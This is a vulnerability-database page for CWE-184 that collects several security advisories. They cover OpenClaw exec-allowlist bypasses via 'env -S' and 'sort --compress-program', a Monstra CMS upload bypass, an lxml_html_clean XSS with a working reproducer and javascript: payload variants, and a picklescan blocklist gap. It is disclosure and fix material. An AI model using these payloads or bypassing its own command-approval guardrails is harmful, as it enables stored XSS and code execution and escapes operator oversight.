CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
366 vulnerabilities reference this CWE, most recent first.
GHSA-48WF-G7CP-GR3M
Vulnerability from github – Published: 2026-03-03 18:00 – Updated: 2026-03-20 21:36Summary
In allowlist mode, system.run guardrails could be bypassed through env -S, causing policy-analysis/runtime-execution mismatch for shell wrapper payloads.
Severity Rationale (Medium)
This issue is rated medium because it is a guardrail/policy bypass in OpenClaw's trusted-operator model, not an authentication boundary break.
- Authenticated Gateway callers are trusted operators by design.
execapprovals/allowlists are operator safety controls.- The bug still weakens expected safety behavior and can enable unintended command execution when untrusted content influences tool input.
Affected Packages / Versions
- Package:
openclaw(npm) - Vulnerable versions:
<= 2026.2.22-2 - Patched versions:
>= 2026.2.23
Latest published npm version checked during triage: 2026.2.22-2.
Technical Impact
When /usr/bin/env is allowlisted, env -S 'sh -c ...' could be treated as allowed non-wrapper argv while runtime still executes shell-wrapper semantics.
Fix Commit(s)
a1c4bf07c6baad3ef87a0e710fe9aef127b1f606(core allowlist/runtime parity hardening)3f923e831364d83d0f23499ee49961de334cf58b(explicitenv -Sregressions)
Release Process Note
patched_versions is pre-set to >= 2026.2.23, so this advisory is now public.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31992"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-193"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T18:00:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nIn `allowlist` mode, `system.run` guardrails could be bypassed through `env -S`, causing policy-analysis/runtime-execution mismatch for shell wrapper payloads.\n\n### Severity Rationale (Medium)\nThis issue is rated **medium** because it is a guardrail/policy bypass in OpenClaw\u0027s trusted-operator model, not an authentication boundary break.\n\n- Authenticated Gateway callers are trusted operators by design.\n- `exec` approvals/allowlists are operator safety controls.\n- The bug still weakens expected safety behavior and can enable unintended command execution when untrusted content influences tool input.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Vulnerable versions: `\u003c= 2026.2.22-2`\n- Patched versions: `\u003e= 2026.2.23`\n\nLatest published npm version checked during triage: `2026.2.22-2`.\n\n### Technical Impact\nWhen `/usr/bin/env` is allowlisted, `env -S \u0027sh -c ...\u0027` could be treated as allowed non-wrapper argv while runtime still executes shell-wrapper semantics.\n\n### Fix Commit(s)\n- `a1c4bf07c6baad3ef87a0e710fe9aef127b1f606` (core allowlist/runtime parity hardening)\n- `3f923e831364d83d0f23499ee49961de334cf58b` (explicit `env -S` regressions)\n\n### Release Process Note\n`patched_versions` is pre-set to `\u003e= 2026.2.23`, so this advisory is now public.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-48wf-g7cp-gr3m",
"modified": "2026-03-20T21:36:21Z",
"published": "2026-03-03T18:00:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-48wf-g7cp-gr3m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31992"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/3f923e831364d83d0f23499ee49961de334cf58b"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/a1c4bf07c6baad3ef87a0e710fe9aef127b1f606"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-exec-guard-bypass-via-env-s"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has allowlist exec-guard bypass via env -S"
}
GHSA-4CJQ-7WR8-CCW5
Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2022-05-13 01:03Monstra CMS through 3.0.4 has an incomplete "forbidden types" list that excludes .php (and similar) file extensions but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code by uploading a file, a different vulnerability than CVE-2017-18048.
{
"affected": [],
"aliases": [
"CVE-2018-6383"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-29T18:29:00Z",
"severity": "HIGH"
},
"details": "Monstra CMS through 3.0.4 has an incomplete \"forbidden types\" list that excludes .php (and similar) file extensions but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code by uploading a file, a different vulnerability than CVE-2017-18048.",
"id": "GHSA-4cjq-7wr8-ccw5",
"modified": "2022-05-13T01:03:36Z",
"published": "2022-05-13T01:03:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6383"
},
{
"type": "WEB",
"url": "https://github.com/monstra-cms/monstra/issues/429"
},
{
"type": "WEB",
"url": "https://github.com/Hacker5preme/Exploits/tree/main/CVE-2018-6383-Exploit"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162968/Monstra-CMS-3.0.4-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4GC7-QCVF-38WG
Vulnerability from github – Published: 2026-03-03 22:59 – Updated: 2026-03-30 13:16Summary
This issue applies to a non-default configuration only.
If sort is manually added to tools.exec.safeBins, OpenClaw could treat sort --compress-program=<prog> as valid safe-bin usage.
In security=allowlist + ask=on-miss, this could satisfy allowlist checks and skip operator approval, while GNU sort may invoke an external program via --compress-program.
Affected Packages / Versions
- Ecosystem: npm
- Package:
openclaw - Affected:
<= 2026.2.21-2 - Patched (planned next release):
>= 2026.2.22
Default Installations
Default installs are not impacted by this specific path because sort is not included in default tools.exec.safeBins.
Impact
- Type: approval/allowlist bypass in optional safe-bin configuration
- Scope: deployments that explicitly include
sortintools.exec.safeBinsand useallowlist + ask=on-miss - Consequence: an external program may run under the OpenClaw process context without expected approval
Technical Details
sortsafe-bin profile allowed--compress-programas a value flag.- Safe-bin satisfaction could therefore mark allowlist checks as satisfied.
- In
ask=on-miss, satisfied allowlist checks skip approval prompts.
Fix
- Block
--compress-programin safe-bin sort policy. - Add unit and e2e regression coverage for
sort --compress-programdenial in safe-bin mode.
Fix Commit(s)
57fbbaebca4d34d17549accf6092ae26eb7b605c
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.21-2"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32010"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T22:59:59Z",
"nvd_published_at": "2026-03-19T22:16:33Z",
"severity": "MODERATE"
},
"details": "### Summary\nThis issue applies to a **non-default configuration** only.\nIf `sort` is manually added to `tools.exec.safeBins`, OpenClaw could treat `sort --compress-program=\u003cprog\u003e` as valid safe-bin usage.\nIn `security=allowlist` + `ask=on-miss`, this could satisfy allowlist checks and skip operator approval, while GNU `sort` may invoke an external program via `--compress-program`.\n\n### Affected Packages / Versions\n- Ecosystem: npm\n- Package: `openclaw`\n- Affected: `\u003c= 2026.2.21-2`\n- Patched (planned next release): `\u003e= 2026.2.22`\n\n### Default Installations\nDefault installs are not impacted by this specific path because `sort` is not included in default `tools.exec.safeBins`.\n\n### Impact\n- Type: approval/allowlist bypass in optional safe-bin configuration\n- Scope: deployments that explicitly include `sort` in `tools.exec.safeBins` and use `allowlist + ask=on-miss`\n- Consequence: an external program may run under the OpenClaw process context without expected approval\n\n### Technical Details\n- `sort` safe-bin profile allowed `--compress-program` as a value flag.\n- Safe-bin satisfaction could therefore mark allowlist checks as satisfied.\n- In `ask=on-miss`, satisfied allowlist checks skip approval prompts.\n\n### Fix\n- Block `--compress-program` in safe-bin sort policy.\n- Add unit and e2e regression coverage for `sort --compress-program` denial in safe-bin mode.\n\n### Fix Commit(s)\n- `57fbbaebca4d34d17549accf6092ae26eb7b605c`\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-4gc7-qcvf-38wg",
"modified": "2026-03-30T13:16:33Z",
"published": "2026-03-03T22:59:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-4gc7-qcvf-38wg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32010"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/57fbbaebca4d34d17549accf6092ae26eb7b605c"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-bypass-via-sort-compress-program-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "In OpenClaw, manually adding sort to tools.exec.safeBins could bypass allowlist approval via --compress-program"
}
GHSA-4JHM-JV67-739F
Vulnerability from github – Published: 2026-07-08 20:23 – Updated: 2026-07-08 20:23lxml_html_clean.Cleaner does not strip javascript: URLs from namespaced URL attributes (xlink:href)
Reporter: Guillem Lefait guillem@datamq.com · Date: 2026-05-10
Affected: lxml ≤ 6.1.0 and lxml_html_clean ≤ 0.4.4 (latest stable)
Confirmed against: lxml 6.1.0 + lxml_html_clean 0.4.4 on Python 3.13.5, 3.14.4, and 3.15.0a8 (libxml2 2.14.6 / 2.9.14 — bug is in pure-Python sanitizer logic, independent of the libxml2 backend)
Root-cause class: same as CVE-2021-28957 (formaction missing from link_attrs)
Summary
Cleaner filters URL schemes (javascript:, vbscript:, …) by walking links via rewrite_links(), which delegates to iterlinks(), which only yields attributes named in lxml.html.defs.link_attrs. That allow-list contains no prefixed names (xlink:href) and no srcset. As a result, when Cleaner is configured with safe_attrs_only=False — a documented option for callers that want lenient attribute handling but still expect URL-scheme scrubbing — <a xlink:href="javascript:…"> survives sanitization untouched, and any browser that follows the SVG-anchor specification will execute the JavaScript when the rendered link is clicked.
CWE: CWE-79 (XSS), with CWE-184 (Incomplete List of Disallowed Inputs) as the underlying defect class.
Affected components
| Package | Versions tested | File / line |
|---|---|---|
lxml |
4.9.x, 5.2.1, 6.1.0 | src/lxml/html/defs.py:20 |
lxml |
" | src/lxml/html/__init__.py:485-528 |
lxml_html_clean |
0.4.0 – 0.4.4 | lxml_html_clean/clean.py:348,576 |
The legacy lxml.html.clean module — bundled in lxml < 5.2.0 and still installable on newer versions via the lxml[html_clean] extra — shares the same bug.
Root cause
defs.link_attrs is a flat string set; the literal xlink:href is absent:
# lxml/html/defs.py
link_attrs = frozenset([
'action', 'archive', 'background', 'cite', 'classid',
'codebase', 'data', 'href', 'longdesc', 'profile', 'src',
'usemap', 'dynsrc', 'lowsrc', 'formaction',
])
HtmlMixin.iterlinks() (lxml/html/__init__.py:526-528) only yields attributes whose key is in that set:
for attrib in link_attrs:
if attrib in attribs:
yield (el, attrib, attribs[attrib], 0)
Cleaner.__call__ registers the URL-scheme filter via rewrite_links (lxml_html_clean/clean.py:348), which is a thin wrapper around iterlinks(). Because xlink:href is never yielded, _remove_javascript_link (clean.py:576) is never invoked for it.
Minimal reproducer
from lxml import html
from lxml_html_clean import Cleaner
for payload in (
'<svg><a xlink:href="javascript:alert(1)">x</a></svg>',
'<math><a xlink:href="javascript:alert(2)">y</a></math>',
):
tree = html.fromstring(payload)
Cleaner(safe_attrs_only=False)(tree)
print(html.tostring(tree).decode())
print(' iterlinks:', list(html.fromstring(payload).iterlinks()))
# <svg><a xlink:href="javascript:alert(1)">x</a></svg> ← unchanged
# iterlinks: [] ← link rewriter blind
# <math><a xlink:href="javascript:alert(2)">y</a></math> ← unchanged
# iterlinks: [] ← link rewriter blind
Both SVG and MathML scopes are vulnerable — same allow-list gap, both render anchors that browsers treat as navigable. Other lab-confirmed surviving variants (same scope, different scheme encoding): mixed-case (JaVaScRiPt:), HTML-entity (javascript:), embedded tab (java\tscript:).
Impact
A caller that uses Cleaner to neutralise untrusted HTML and chooses safe_attrs_only=False — typically because the application wants to allow custom data-/aria-/vendor attributes — will silently pass javascript: payloads carried on xlink:href through to victim renders. Stored XSS in any application that round-trips user-supplied HTML through this configuration. Reach is conditional on the safe_attrs_only=False toggle, but that is a documented public option; consumers reasonably expect URL-scheme scrubbing to be independent of attribute allow-listing.
Suggested fix
Extend link_attrs to include xlink:href. In HTML mode, lxml.html keeps prefixed attribute names verbatim — the parsed key is the literal string xlink:href, not a Clark-notation form — so the existing allow-list lookup is a plain string match. Same shape as the CVE-2021-28957 fix:
# lxml/html/defs.py
link_attrs = frozenset([
'action', 'archive', 'background', 'cite', 'classid',
'codebase', 'data', 'href', 'longdesc', 'profile', 'src',
'usemap', 'dynsrc', 'lowsrc', 'formaction',
+ 'xlink:href',
])
This single change closes the reported XSS for both SVG <a xlink:href> and MathML <a xlink:href>. lxml_html_clean is the canonical home of the Cleaner code (881 lines); lxml.html.clean is a 21-line backward-compat shim (from lxml_html_clean import *) that picks up the fix automatically once link_attrs is updated upstream. Since the upstream change requires lxml maintainer action, see the alternative below if a self-contained patch in lxml_html_clean is preferred.
Alternative (in-package fix, no lxml coordination needed): add a namespaced-URL-attribute walk inside Cleaner.__call__ so the URL-scheme filter doesn't depend on link_attrs. Sketch:
# lxml_html_clean/clean.py — supplements rewrite_links() in __call__
_NS_URL_ATTRS = ('xlink:href',) # extend as needed
_BAD_SCHEME = re.compile(r'^\s*(javascript|vbscript|data):', re.I)
for el in doc.iter():
for attr in _NS_URL_ATTRS:
if attr in el.attrib and _BAD_SCHEME.match(el.attrib[attr]):
del el.attrib[attr]
This decouples the cleaner from the upstream link_attrs set and matches the security-ownership boundary established when the cleaner was extracted in lxml 5.2.0.
Defense in depth (optional, regardless of which fix path is taken):
- Also handle srcset: the value is a url 1x, url 2x, … descriptor list, so split on commas and validate each candidate URL. Not directly executable in current browsers, but closes the same gap.
- Also accept Clark-notation forms ({http://www.w3.org/1999/xlink}href) so XML-mode callers using lxml.etree get the same protection. HTML mode never produces this form, so not needed for the reported bug.
Severity
CVSS 3.1 base score: 8.2 / High — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N (stored XSS; victim must click the SVG anchor; scope-changed because script executes in the rendering origin). PR:N reflects the common case where untrusted HTML enters the sanitizer from anonymous sources (comments, support tickets); deployments that gate writes behind authentication can score with PR:L (→ 7.6).
Severity is CONDITIONAL on the caller passing safe_attrs_only=False. With the class default (True), attribute allow-listing strips xlink:href before scheme scrubbing runs, and the bug does not fire — verified at HEAD: default-config Cleaner()(<svg><a xlink:href="javascript:…">x</a></svg>) → <svg><a>x</a></svg>.
Prior art / novelty
- CVE-2021-28957 (lxml 4.6.3) — same root cause, different attribute (
formaction). Fix was a one-line extension oflink_attrs. Direct precedent. - CVE-2022-34473 (Mozilla Sanitizer API) —
xlink:hrefURL bypass primitive in a different sanitizer. - Bleach (Mozilla, Python) explicitly handles the
xlinknamespace;enshrined/svg-sanitize(PHP) shipscleanXlinkHrefs(); DOMPurify scrubsxlink:hrefviaALLOWED_URI_REGEXP. nh3(the alternative recommended inlxml_html_clean's own README for security-sensitive use) is not vulnerable to this primitive — verified 2026-05-10 onnh3==0.3.5: with<svg>/<math>/<a>andxlink:hrefexplicitly added totags/attributes, both SVG and MathML payloads, all four scheme-encoding variants, are stripped (output e.g.<svg><a rel="noopener noreferrer">x</a></svg>).
Coordination
Filing as a private GHSA at fedora-python/lxml_html_clean — lxml_html_clean is the canonical maintainer of the Cleaner code (881 lines) and the security-responsible team since the lxml 5.2.0 split, where the cleaner was extracted out of lxml precisely so cleaner-security reports could land on the right team. The lxml side cannot be filed via GHSA (https://github.com/lxml/lxml/security/advisories/new returns 404 — private reporting is not enabled), so a parallel report has been emailed directly to the lxml maintainer for the upstream defs.link_attrs patch path. You're welcome to coordinate with them directly if you'd prefer the upstream fix over the in-package alternative above.
Happy to provide a draft patch or PR on either path. No bounty expected.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lxml_html_clean"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49825"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-08T20:23:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# `lxml_html_clean.Cleaner` does not strip `javascript:` URLs from namespaced URL attributes (`xlink:href`)\n\n**Reporter:** Guillem Lefait \u003cguillem@datamq.com\u003e \u00b7 **Date:** 2026-05-10\n**Affected:** `lxml` \u2264 6.1.0 and `lxml_html_clean` \u2264 0.4.4 (latest stable)\n**Confirmed against:** lxml 6.1.0 + lxml_html_clean 0.4.4 on Python 3.13.5, 3.14.4, and 3.15.0a8 (libxml2 2.14.6 / 2.9.14 \u2014 bug is in pure-Python sanitizer logic, independent of the libxml2 backend)\n**Root-cause class:** same as CVE-2021-28957 (`formaction` missing from `link_attrs`)\n\n## Summary\n\n`Cleaner` filters URL schemes (`javascript:`, `vbscript:`, \u2026) by walking links via `rewrite_links()`, which delegates to `iterlinks()`, which only yields attributes named in `lxml.html.defs.link_attrs`. That allow-list contains no prefixed names (`xlink:href`) and no `srcset`. As a result, when `Cleaner` is configured with `safe_attrs_only=False` \u2014 a documented option for callers that want lenient attribute handling but still expect URL-scheme scrubbing \u2014 `\u003ca xlink:href=\"javascript:\u2026\"\u003e` survives sanitization untouched, and any browser that follows the SVG-anchor specification will execute the JavaScript when the rendered link is clicked.\n\n**CWE:** CWE-79 (XSS), with CWE-184 (Incomplete List of Disallowed Inputs) as the underlying defect class.\n\n## Affected components\n\n| Package | Versions tested | File / line |\n|--------------------|------------------------|----------------------------------|\n| `lxml` | 4.9.x, 5.2.1, 6.1.0 | `src/lxml/html/defs.py:20` |\n| `lxml` | \" | `src/lxml/html/__init__.py:485-528` |\n| `lxml_html_clean` | 0.4.0 \u2013 0.4.4 | `lxml_html_clean/clean.py:348,576` |\n\nThe legacy `lxml.html.clean` module \u2014 bundled in `lxml \u003c 5.2.0` and still installable on newer versions via the `lxml[html_clean]` extra \u2014 shares the same bug.\n\n## Root cause\n\n`defs.link_attrs` is a flat string set; the literal `xlink:href` is absent:\n\n```python\n# lxml/html/defs.py\nlink_attrs = frozenset([\n \u0027action\u0027, \u0027archive\u0027, \u0027background\u0027, \u0027cite\u0027, \u0027classid\u0027,\n \u0027codebase\u0027, \u0027data\u0027, \u0027href\u0027, \u0027longdesc\u0027, \u0027profile\u0027, \u0027src\u0027,\n \u0027usemap\u0027, \u0027dynsrc\u0027, \u0027lowsrc\u0027, \u0027formaction\u0027,\n])\n```\n\n`HtmlMixin.iterlinks()` (`lxml/html/__init__.py:526-528`) only yields attributes whose key is in that set:\n\n```python\nfor attrib in link_attrs:\n if attrib in attribs:\n yield (el, attrib, attribs[attrib], 0)\n```\n\n`Cleaner.__call__` registers the URL-scheme filter via `rewrite_links` (`lxml_html_clean/clean.py:348`), which is a thin wrapper around `iterlinks()`. Because `xlink:href` is never yielded, `_remove_javascript_link` (`clean.py:576`) is never invoked for it.\n\n## Minimal reproducer\n\n```python\nfrom lxml import html\nfrom lxml_html_clean import Cleaner\n\nfor payload in (\n \u0027\u003csvg\u003e\u003ca xlink:href=\"javascript:alert(1)\"\u003ex\u003c/a\u003e\u003c/svg\u003e\u0027,\n \u0027\u003cmath\u003e\u003ca xlink:href=\"javascript:alert(2)\"\u003ey\u003c/a\u003e\u003c/math\u003e\u0027,\n):\n tree = html.fromstring(payload)\n Cleaner(safe_attrs_only=False)(tree)\n print(html.tostring(tree).decode())\n print(\u0027 iterlinks:\u0027, list(html.fromstring(payload).iterlinks()))\n# \u003csvg\u003e\u003ca xlink:href=\"javascript:alert(1)\"\u003ex\u003c/a\u003e\u003c/svg\u003e \u2190 unchanged\n# iterlinks: [] \u2190 link rewriter blind\n# \u003cmath\u003e\u003ca xlink:href=\"javascript:alert(2)\"\u003ey\u003c/a\u003e\u003c/math\u003e \u2190 unchanged\n# iterlinks: [] \u2190 link rewriter blind\n```\n\nBoth SVG and MathML scopes are vulnerable \u2014 same allow-list gap, both render anchors that browsers treat as navigable. Other lab-confirmed surviving variants (same scope, different scheme encoding): mixed-case (`JaVaScRiPt:`), HTML-entity (`java\u0026#x73;cript:`), embedded tab (`java\\tscript:`).\n\n## Impact\n\nA caller that uses `Cleaner` to neutralise untrusted HTML and chooses `safe_attrs_only=False` \u2014 typically because the application wants to allow custom data-/aria-/vendor attributes \u2014 will silently pass `javascript:` payloads carried on `xlink:href` through to victim renders. Stored XSS in any application that round-trips user-supplied HTML through this configuration. Reach is conditional on the `safe_attrs_only=False` toggle, but that is a documented public option; consumers reasonably expect URL-scheme scrubbing to be independent of attribute allow-listing.\n\n## Suggested fix\n\n**Extend `link_attrs`** to include `xlink:href`. In HTML mode, `lxml.html` keeps prefixed attribute names verbatim \u2014 the parsed key is the literal string `xlink:href`, not a Clark-notation form \u2014 so the existing allow-list lookup is a plain string match. Same shape as the CVE-2021-28957 fix:\n\n```diff\n # lxml/html/defs.py\n link_attrs = frozenset([\n \u0027action\u0027, \u0027archive\u0027, \u0027background\u0027, \u0027cite\u0027, \u0027classid\u0027,\n \u0027codebase\u0027, \u0027data\u0027, \u0027href\u0027, \u0027longdesc\u0027, \u0027profile\u0027, \u0027src\u0027,\n \u0027usemap\u0027, \u0027dynsrc\u0027, \u0027lowsrc\u0027, \u0027formaction\u0027,\n+ \u0027xlink:href\u0027,\n ])\n```\n\nThis single change closes the reported XSS for both SVG `\u003ca xlink:href\u003e` and MathML `\u003ca xlink:href\u003e`. `lxml_html_clean` is the canonical home of the `Cleaner` code (881 lines); `lxml.html.clean` is a 21-line backward-compat shim (`from lxml_html_clean import *`) that picks up the fix automatically once `link_attrs` is updated upstream. Since the upstream change requires lxml maintainer action, see the alternative below if a self-contained patch in `lxml_html_clean` is preferred.\n\n**Alternative (in-package fix, no lxml coordination needed):** add a namespaced-URL-attribute walk inside `Cleaner.__call__` so the URL-scheme filter doesn\u0027t depend on `link_attrs`. Sketch:\n\n```python\n# lxml_html_clean/clean.py \u2014 supplements rewrite_links() in __call__\n_NS_URL_ATTRS = (\u0027xlink:href\u0027,) # extend as needed\n_BAD_SCHEME = re.compile(r\u0027^\\s*(javascript|vbscript|data):\u0027, re.I)\n\nfor el in doc.iter():\n for attr in _NS_URL_ATTRS:\n if attr in el.attrib and _BAD_SCHEME.match(el.attrib[attr]):\n del el.attrib[attr]\n```\n\nThis decouples the cleaner from the upstream `link_attrs` set and matches the security-ownership boundary established when the cleaner was extracted in lxml 5.2.0.\n\n**Defense in depth (optional, regardless of which fix path is taken):**\n- Also handle `srcset`: the value is a `url 1x, url 2x, \u2026` descriptor list, so split on commas and validate each candidate URL. Not directly executable in current browsers, but closes the same gap.\n- Also accept Clark-notation forms (`{http://www.w3.org/1999/xlink}href`) so XML-mode callers using `lxml.etree` get the same protection. HTML mode never produces this form, so not needed for the reported bug.\n\n## Severity\n\nCVSS 3.1 base score: **8.2 / High** \u2014 `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N` (stored XSS; victim must click the SVG anchor; scope-changed because script executes in the rendering origin). PR:N reflects the common case where untrusted HTML enters the sanitizer from anonymous sources (comments, support tickets); deployments that gate writes behind authentication can score with PR:L (\u2192 7.6).\n\nSeverity is **CONDITIONAL** on the caller passing `safe_attrs_only=False`. With the class default (`True`), attribute allow-listing strips `xlink:href` before scheme scrubbing runs, and the bug does not fire \u2014 verified at HEAD: default-config `Cleaner()(\u003csvg\u003e\u003ca xlink:href=\"javascript:\u2026\"\u003ex\u003c/a\u003e\u003c/svg\u003e)` \u2192 `\u003csvg\u003e\u003ca\u003ex\u003c/a\u003e\u003c/svg\u003e`.\n\n## Prior art / novelty\n\n- **CVE-2021-28957 (lxml 4.6.3)** \u2014 same root cause, different attribute (`formaction`). Fix was a one-line extension of `link_attrs`. Direct precedent.\n- **CVE-2022-34473** (Mozilla Sanitizer API) \u2014 `xlink:href` URL bypass primitive in a different sanitizer.\n- **Bleach (Mozilla, Python)** explicitly handles the `xlink` namespace; `enshrined/svg-sanitize` (PHP) ships `cleanXlinkHrefs()`; DOMPurify scrubs `xlink:href` via `ALLOWED_URI_REGEXP`.\n- **`nh3`** (the alternative recommended in `lxml_html_clean`\u0027s own README for security-sensitive use) is **not vulnerable** to this primitive \u2014 verified 2026-05-10 on `nh3==0.3.5`: with `\u003csvg\u003e`/`\u003cmath\u003e`/`\u003ca\u003e` and `xlink:href` explicitly added to `tags`/`attributes`, both SVG and MathML payloads, all four scheme-encoding variants, are stripped (output e.g. `\u003csvg\u003e\u003ca rel=\"noopener noreferrer\"\u003ex\u003c/a\u003e\u003c/svg\u003e`).\n\n\n## Coordination\n\nFiling as a private GHSA at `fedora-python/lxml_html_clean` \u2014 `lxml_html_clean` is the canonical maintainer of the `Cleaner` code (881 lines) and the security-responsible team since the lxml 5.2.0 split, where the cleaner was extracted out of lxml precisely so cleaner-security reports could land on the right team. The lxml side cannot be filed via GHSA (`https://github.com/lxml/lxml/security/advisories/new` returns 404 \u2014 private reporting is not enabled), so a parallel report has been emailed directly to the lxml maintainer for the upstream `defs.link_attrs` patch path. You\u0027re welcome to coordinate with them directly if you\u0027d prefer the upstream fix over the in-package alternative above.\n\nHappy to provide a draft patch or PR on either path. No bounty expected.",
"id": "GHSA-4jhm-jv67-739f",
"modified": "2026-07-08T20:23:22Z",
"published": "2026-07-08T20:23:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-4jhm-jv67-739f"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedora-python/lxml_html_clean"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "`lxml_html_clean.Cleaner` does not strip `javascript:` URLs from namespaced URL attributes"
}
GHSA-4MPJ-78P6-RJ59
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-18 14:43Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7wx9-6375-f5wh. This link is maintained to preserve external references.
Original Description
picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.0.4"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:43:09Z",
"nvd_published_at": "2026-06-17T17:17:25Z",
"severity": "CRITICAL"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7wx9-6375-f5wh. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.",
"id": "GHSA-4mpj-78p6-rj59",
"modified": "2026-06-18T14:43:09Z",
"published": "2026-06-17T18:35:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: PickleScan\u0027s profile.run blocklist mismatch allows exec() bypass",
"withdrawn": "2026-06-18T14:43:09Z"
}
GHSA-4MR5-G6F9-CFRH
